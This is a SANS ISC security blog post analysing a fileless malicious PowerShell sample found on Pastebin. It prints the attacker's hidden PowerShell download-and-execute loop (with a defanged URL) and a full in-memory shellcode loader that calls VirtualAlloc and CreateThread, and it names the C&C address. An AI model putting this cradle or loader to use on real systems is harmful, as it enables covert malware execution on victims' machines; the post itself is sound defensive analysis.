Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: InfoSec Handlers Diary Blog - Fileless Malicious PowerShell Sample InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Fileless Malicious PowerShell Sample

Published: 2017-11-29
Last Updated: 2017-11-29 08:56:28 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

Pastebin.com remains one of my favourite place for hunting. I’m searching for juicy content and report finding in a Splunk dashboard:

Yesterday, I found an interesting pastie[1] with a simple Windows CMD script:

:Start
powErShEll.ExE -nop -w hIddEn -c $J=nEw-objEct nEt.wEbclIEnt;$J.proxy=[NEt.WEbREquESt]::GEtSyStEmWEbProxy();$J.Proxy.CrEdEntIalS=[NEt.CrEdEntIalCachE]::DEfaultCrEdEntIalS;
IEX $J.downloadStrIng('hxxps://pastebin[.]com/raw/CysKFzNM';);
TIMEOUT 1100
goto Start

This first stage performs nothing else than downloading the content of another pastie (using the system-defined proxy and credentials if any). While executed, the script decodes another piece of PowerShell which is Base64 encoded and gzip’d (SHA256: eef5ec743ebcaf4a399562b0de15eeaf96c242734ec6f74066a8e9a09cbc70c5). Here is the content of the string:

function mu {
    Param ($ra, $uOXXl)
    $qi1Z = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
.GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $qi1Z.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices
.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @($ra)))), $uOXXl))
}

function k9no_ {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $dn,
        [Parameter(Position = 1)] [Type] $xm = [Void]
    )
    $pnE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType'
, 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $pnE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $dn).SetImplementationFlags('Runtime, Managed')
    $pnE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xm, $dn).SetImplementationFlags('Runtime, Managed')
    return $pnE.CreateType()
}

[Byte[]]$iJF = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3 (...Redacted...) aALZyF//1Ys2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1QHDKcZ17sM=“)
$b0Z = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll VirtualAlloc), (k9no_ @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, $iJF.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($iJF, 0, $b0Z, $iJF.length)

$ljfW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll CreateThread), (k9no_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32],
[IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$b0Z,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll WaitForSingleObject), (k9no_ @([IntPtr], [Int32]))).Invoke($ljfW,0xffffffff) | Out-Null

This script is very powerful because it uses the .Net API to call Windows API function in memory. To achieve this, it makes use of assemblies. Microsoft defines[2] an assembly as "a collection of types and resources that forms a logical unit of functionality. All types in the .NET Framework must exist in assemblies; the common language runtime does not support types outside of assemblies. Each time you create a Microsoft Windows® Application, Windows Service, Class Library, or other application with Visual Basic .NET, you're building a single assembly. Each assembly is stored as an .exe or .dll file".

The first function mu() uses GetProcAddress() to return the location of the function in memory. Example:

PS C:\Users\xavie> ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')})
.GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qi1Z.GetMethod('GetModuleHandle')).Invoke($null, @("kernel32.dll")))), "VirtualAlloc"))

140723845779104

Now that we have the address of our system call, the second function k9no_() is used with GetDelegateForFunctionPointer[3] to get a pointer to the function. So, we understand now what does the PowerShell script:

  1. Decode the Base64 encoded payload 
  2. Allocate some memory
  3. Copy the payload in the allocated memory space
  4. Create a new threat
  5. Execute the payload

The payload is the Base64 encoded strings (SHA256: 30cac876f585ffa1912e6132dd68951a44e266d6711dbbd1208b887203f742f3). It contacts a C&C server located in Israel (213.184.123.143) on port port 2712. The traffic is just garbage and I was not able to find useful information in the captured traffic.

[1] https://pastebin.com/Fj2HvFf3
[2] https://msdn.microsoft.com/en-us/library/ms973231.aspx
[3] https://msdn.microsoft.com/en-us/library/zdx6dyyh(v=vs.95).aspx

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

1 comment(s)
Diary Archives